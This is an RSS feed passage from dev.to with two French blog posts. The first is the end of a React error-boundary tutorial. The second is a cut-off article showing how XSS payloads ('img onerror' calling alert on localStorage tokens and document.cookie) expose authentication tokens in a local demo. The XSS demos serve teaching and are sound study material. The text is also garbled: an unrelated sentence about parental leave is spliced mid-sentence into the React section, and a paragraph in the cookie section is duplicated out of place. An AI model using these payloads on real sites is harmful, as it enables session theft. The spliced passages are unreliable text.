          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`user-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;userProps&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;;
&lt;/span&gt;        &lt;span class="p"&gt;})}&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/ul&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Comment ça marche ? Lorsqu'une exception est catchée, ces deux méthodes sont appelées. Avec une différence cependant : &lt;code&gt;getDerivedStateFromError&lt;/code&gt; est appelée pendant la phase de rendu. Les effets de bord sont donc, à ce moment-là, interdits. Si vous avez besoin d'introduire des effets de bord, utilisez la méthode &lt;code&gt;componentDidCatch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Dans le code ci-dessus, lorsqu'une erreur est interceptée par l'error boundary, je définis une entrée dans le state pour l'indiquer et ainsi afficher un message d'erreur avec un bouton pour tenter à nouveau l'action qui a échoué. Les deux méthodes reçoivent en premier paramètre l'erreur interceptée, de telle sorte à ce que vous puissiez vous en servir en cas de besoin. &lt;code&gt;componentDidCatch&lt;/code&gt;, quant à elle, reçoit aussi des informations supplémentaires comme par exemple la stack trace de l'erreur (pratique pour la logguer par exemple).&lt;/p&gt;

&lt;h3&gt;
  
  
  Dans les composants fonctionnels
&lt;/h3&gt;

&lt;p&gt;Comme je le disais plus tôt, seules les "class component" sont en mesure de définir les méthodes &lt;code&gt;getDerivedStateFromError&lt;/code&gt; et &lt;code&gt;componentDidCatch&lt;/code&gt;. Les composants fonctionnels ne peuvent pas être transformés en error boundary. C'est un fait : vous voulez créer un error boundary ? Créez une classe, you don't have a choice !&lt;/p&gt;

&lt;p&gt;Comment faire si, depuis la création des hooks, vous refusez de créer vos composants avec des classes ? Pas moyen de vous faire changer d'avis, plus jamais des classes !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fnever_ever.jpg%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fnever_ever.jpg%3Fstyle%3Dcenterme" alt="Never Ever"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Répète après moi : "Je ne ferai plus de class component"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Pour palier ce souci, et rendre notre gestion d'erreur plus facilement réutilisable, vous pouvez utiliser une librairie React : &lt;a href="https://www.npmjs.com/package/react-error-boundary" rel="noopener noreferrer"&gt;react-error-boundary&lt;/a&gt;. Elle se chargera de créer la classe pour vous et mettra à votre disposition une API d'utilisation plutôt sympa et pratique. N'hésitez pas à lire sa documentation. Cette librairie vous permettra par exemple :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;de définir une composant de fallback en cas d'erreur ;&lt;/li&gt;
&lt;li&gt;d'avoir un handler d'erreur (pour loguer votre erreur par exemple)&lt;/li&gt;
&lt;li&gt;de pouvoir reset le state interne de l'error boundary pour proposer un "try again" à vos utilisateurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Où placer notre gestion d'erreurs ?
&lt;/h2&gt;

&lt;p&gt;Il nous reste un dernier point à voir. Regarder notre &lt;code&gt;UserList&lt;/code&gt;. Il parcourt une liste d'utilisateurs et pour chacun d'eux, render un composant &lt;code&gt;User&lt;/code&gt;. C'est ce composant qui va, de temps en temps, planter. Dans l'état actuel du code, si l'un seulement des trois &lt;code&gt;User&lt;/code&gt; plante, c'est tout le composant &lt;code&gt;UserList&lt;/code&gt; qui est remplacé par le fallback d'erreur. Pas très pratique non ?&lt;/p&gt;

&lt;p&gt;Je vous rappelle que l'error boundary ne peut pas être le composant &lt;code&gt;User&lt;/code&gt; lui-même puisqu'ils ne sont pas capables de catcher leurs propres erreurs. La solution serait d'avoir un code qui ressemblerait à ceci (pour &lt;code&gt;UserList&lt;/code&gt;) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ul&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;userProps&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ErrorBoundary&lt;/span&gt;
            &lt;span class="nx"&gt;FallbackComponent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;ErrorFallback&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="nx"&gt;onReset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/*do something*/&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
            &lt;span class="nx"&gt;resetKeys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{[&lt;/span&gt;&lt;span class="nx"&gt;partOfState&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
          &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`user-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;userProps&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/ErrorBoundary&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;})}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/ul&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dans ce code, j'utiliserais donc &lt;code&gt;react-error-boundary&lt;/code&gt; pour encadrer uniquement les composants qui seraient capables de déclencher des erreurs.&lt;/p&gt;

&lt;p&gt;C'est à vous de voir où doit se situer votre gestion d'erreur. Je vous conseille d'en mettre à plusieurs endroits dans votre code là où des erreurs sont susceptibles d'être levées.&lt;/p&gt;

&lt;p&gt;Vous pouvez mettre une gestion d'erreur en haut de votre arbre de composants. Pour afficher un message d'erreur si une exception n'est jamais catchée. Ça empêchera une page blanche et à la place,Et je vais sûrement poser quelques jours par ci par là en attendant le congé parental qui commence en juin&lt;br&gt;
'est toujours mieux qu'une page blanche. Et puis si vous intégrer vos error boundaries aux bons endroits, aucune exception n'arrivera jusqu'à &lt;code&gt;App&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>react</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Les cookies HttpOnly, une sécurité pour vos tokens ?</title>
      <dc:creator>Boris CERATII</dc:creator>
      <pubDate>Mon, 27 Jul 2020 07:09:30 +0000</pubDate>
      <link>https://dev.to/bcerati/les-cookies-httponly-une-securite-pour-vos-tokens-2p8n</link>
      <guid>https://dev.to/bcerati/les-cookies-httponly-une-securite-pour-vos-tokens-2p8n</guid>
      <description>&lt;p&gt;Cet article a été, à l'origine, publié sur mon blog personnel : &lt;a href="https://boris-cerati.fr/blog/http-only-xss-attacks" rel="noopener noreferrer"&gt;https://boris-cerati.fr/blog/http-only-xss-attacks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Il m'arrive souvent de devoir développer des applications qui possèdent d'une part un backend, généralement développé avec le framework Symfony, et d'autre part un frontend (React par exemple). Souvent, ce qui est fait, c'est que le front sauvegarde un token d'authentification soit dans le localStorage, soit dans les cookies afin de le transmettre au backend et authentifier l'utilisateur.&lt;/p&gt;

&lt;p&gt;Très bien, mais il y a des soucis dans cette manière de faire :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;le localStorage est vulnérable aux attaques XSS ;&lt;/li&gt;
&lt;li&gt;les cookies sont également vulnérables aux attaques XSS.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En effet, les données sauvegardées en localStorage ou dans les cookies sont accessibles par du code JS malveillant qui aurait été injecté dans votre page au travers d'une faille XSS.&lt;/p&gt;

&lt;p&gt;Comment s'en prémunir ? Peut-être pouvons-nous penser aux cookies avec le flag HttpOnly ?&lt;/p&gt;

&lt;p&gt;Voyons pourquoi cette solution n'est pas la bonne et que la meilleure solution pour protéger votre application est d'évter les failles XSS, tout simplement.&lt;/p&gt;

&lt;h2&gt;
  
  
  Que sont les cookies HttpOnly
&lt;/h2&gt;

&lt;p&gt;Aujourd'hui, les cookies sont présents partout sur nos applications. En effet, ils permettent, coté client, de stocker un état, comme la session d'un utilisateur. Vous voyez la fonctionnalité "Se souvenir de moi" sur de nombreueses applications ? Un cookie se cache par là ! Et les informations que contiennent les cookies sont souvent sensibles, il faut donc les protéger contre les tentatives de piratage !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie.jpg%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie.jpg%3Fstyle%3Dcenterme" alt="Cookie"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Les cookies, essentiels pour stocker des informations sensible coté client&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Les cookies sont stockés coté client sur la demande de votre backend. Pour cela, le backend vous envoie un header dans la réponse nommé &lt;code&gt;Set-Cookie&lt;/code&gt; qui contient, entre autres, le nom et la valeur du cookie. Voyez la documentation sur le &lt;a href="https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Set-Cookie" rel="noopener noreferrer"&gt;MDN&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Dans cet en-tête &lt;code&gt;Set-Cookie&lt;/code&gt; deux informations sont importantes :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Secure : les cookies portant le flag &lt;code&gt;Secure&lt;/code&gt; ne sont envoyés que si la requête est https ; &lt;/li&gt;
&lt;li&gt;HttpOnly : empêche du code JS d'accéder aux cookies portant cette notion de &lt;code&gt;HttpOnly&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Un cookie déclaré comme étant HttpOnly n'est donc pas accessible via du code JS. Si vous faîtes un &lt;code&gt;document.cookie&lt;/code&gt; vous ne les verrez pas. Ainsi, si vous avez une faille XSS qui autorise une personne malveillante à injecter du code JS dans vos pages, elle n'aura pas accès à ces cookies.&lt;/p&gt;

&lt;p&gt;Voyons la liste des cookies retournés par un &lt;code&gt;document.cookie&lt;/code&gt; sur ma console Chrome à partir du site de Twitter :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Ftwitter_cookie.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Ftwitter_cookie.png%3Fstyle%3Dcenterme" alt="Cookie"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Liste des cookies sur mon twitter&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Et maintenant, regardez la liste complète de mes cookies sur le domaine de Twitter :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Ftwitter_cookie_httponly.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Ftwitter_cookie_httponly.png%3Fstyle%3Dcenterme" alt="Cookie"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Liste des cookies sur mon twitter&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Comme vous pouvez le voir, les cookies HttpOnly n'apparaissent pas dans un &lt;code&gt;docuemnt.cookie&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;De manière générale, toutes les informations sensibles doivent être dans des cookies HttpOnly. Mais est-ce suffisant ? Voyons ça avec plusieurs solutions pour stocker les informations sensibles :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;dans le localStorage ;&lt;/li&gt;
&lt;li&gt;dans des cookies ;&lt;/li&gt;
&lt;li&gt;dans des cookies HttpOnly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Le code pour suivre cet article
&lt;/h2&gt;

&lt;p&gt;Voici le code que je vais utiliser dans la suite de l'article. Il vous permettra de tester chacunes des solutions ci-dessous.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="///data/blog/http-only-xss-attacks/code-localstorage.zip"&gt;code pour le stockage dans le localStorage&lt;/a&gt; ;&lt;/li&gt;
&lt;li&gt;
&lt;a href="///data/blog/http-only-xss-attacks/code-cookie.zip"&gt;code pour le stockage dans un cookie simple&lt;/a&gt; ;&lt;/li&gt;
&lt;li&gt;
&lt;a href="///data/blog/http-only-xss-attacks/code-cookie-httponly.zip"&gt;code pour le stockage dans un cookie HttpOnly&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pour chaque code téléchargé, vous aurez un dossier comprenant le partie backend et la partie frontend.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;le backend : contenant le code du backend. Il est développé de manière très simple avec NodeJS et avec des faux tokens, non cryptés. Ce n'est que pour l'exemple, bien sûr ;&lt;/li&gt;
&lt;li&gt;le frontend : un simple front avec une page &lt;code&gt;ndex.html&lt;/code&gt;et un fichier &lt;code&gt;app.js&lt;/code&gt; permettant au clic sur un bouton de se connecter (le backend est appelé et renvoie un token stocké soit dans le localStorage soit dans un cookie) et au clic sur un autre bouton d'ajouter un commentaire avec une faille XSS.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vous pouvez démarrer le projet en exécutant, les commandes suivantes : &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

npm ci
node app.js


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Puis allez sur &lt;code&gt;http://127.0.0.1:3000&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Utilisons le localStorage
&lt;/h2&gt;

&lt;p&gt;Une fois que le projet est démarré, vous devriez avoir une page qui ressemble à ça :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Flocal_storage1.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Flocal_storage1.png%3Fstyle%3Dcenterme" alt="Démarrage projet"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Démarrage du projet&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Avant tout, cliquez sur "Connexion". À ce moment-là, un appel au backend est fait et ce dernier nous renvoie un token que l'on peut stocker dans le localStorage :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Ensuite, entrez un commentaire puis envoyez-le au backend. Il vous le renverra et le front pourra ensuite l'ajouter au DOM. Entrez par exemple "Un exemple de commentaire.". Vous le verrez apparaître.&lt;/p&gt;

&lt;p&gt;Aujourd'hui, les principaux navigateurs nous empêchent d'exécuter des balises &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; ajoutées dynamiquement au DOM. Pour prévenir les attaques XSS justement. Mais il y a une parade bien connue, les images ! Entrez donc ce commentaire :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://fake-image.org/fake.png"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"alert(window.localStorage.getItem('token'));"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Voyez ce qui se passe :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Flocal_storage2.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Flocal_storage2.png%3Fstyle%3Dcenterme" alt="XSS"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Faille XSS, apparition du token&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Hum, pas génial. Ici, nous affichons simplement le token. Bien sûr, dans la réalité, une personne malintentionnée l'enverra sur son propre backend et aura ainsi vos accès.&lt;/p&gt;

&lt;h2&gt;
  
  
  Utilisons les cookies (sans HttpOnly)
&lt;/h2&gt;

&lt;p&gt;Plutôt que de stocker dans le localStorage, voyons pour le stocker dans les cookies (sans l'option HttpOnly). Le process reste le même, nous cliquons sur "Connexion", cela fera un appel au backend qui ajoute un header Set-Cookie pour dire au client de créer un cookie. Voici le code fait dans le backend :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-secret-token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;maxAge&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;900000&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Le cookie apparaît dans le client :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie1.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie1.png%3Fstyle%3Dcenterme" alt="Cookie Client"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Le cookie apparaît dans le client&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ajoutons un commentaire mal-intentionné :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://fake-image.org/fake.png"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"alert(document.cookie);"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Eh mince, le cookie peut aussi être piraté part une faille XSS.&lt;/p&gt;

&lt;p&gt;Bon, on a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.&lt;/p&gt;

&lt;p&gt;Voici le résultat :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie2.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie2.png%3Fstyle%3Dcenterme" alt="XSS Cookie"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Le cookie apparaît en clair dans le client&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Mince, le cookie peut aussi être piraté part une faille XSS.&lt;/p&gt;

&lt;p&gt;Bon, on n'a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Utilisons les cookies (avec HttpOnly)
&lt;/h2&gt;

&lt;p&gt;Cette fois-ci, je compte bien faire en sorte que mon token reste secret ! Faisons en sorte que notre cookie ait le flag HttpOnly. Au moins nous serons sûr qu'aucun code JS n'y aura accès du coté du client !&lt;/p&gt;

&lt;p&gt;Il n'y a vraiment pas grand chose à changer pour transformer notre cookie en cookie HttpOnly. Voyez la ligne que je modifie dans le code du backend :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-secret-token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;maxAge&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;900000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;httpOnly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Nous récupérons bien notre cookie HttpOnly, la preuve :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly1.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly1.png%3Fstyle%3Dcenterme" alt="Cookie HttpOnly"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Le cookie est protégé contre les accès coté client&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ajoutons le même commentaire mal-intentionné que tout à l'heure :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

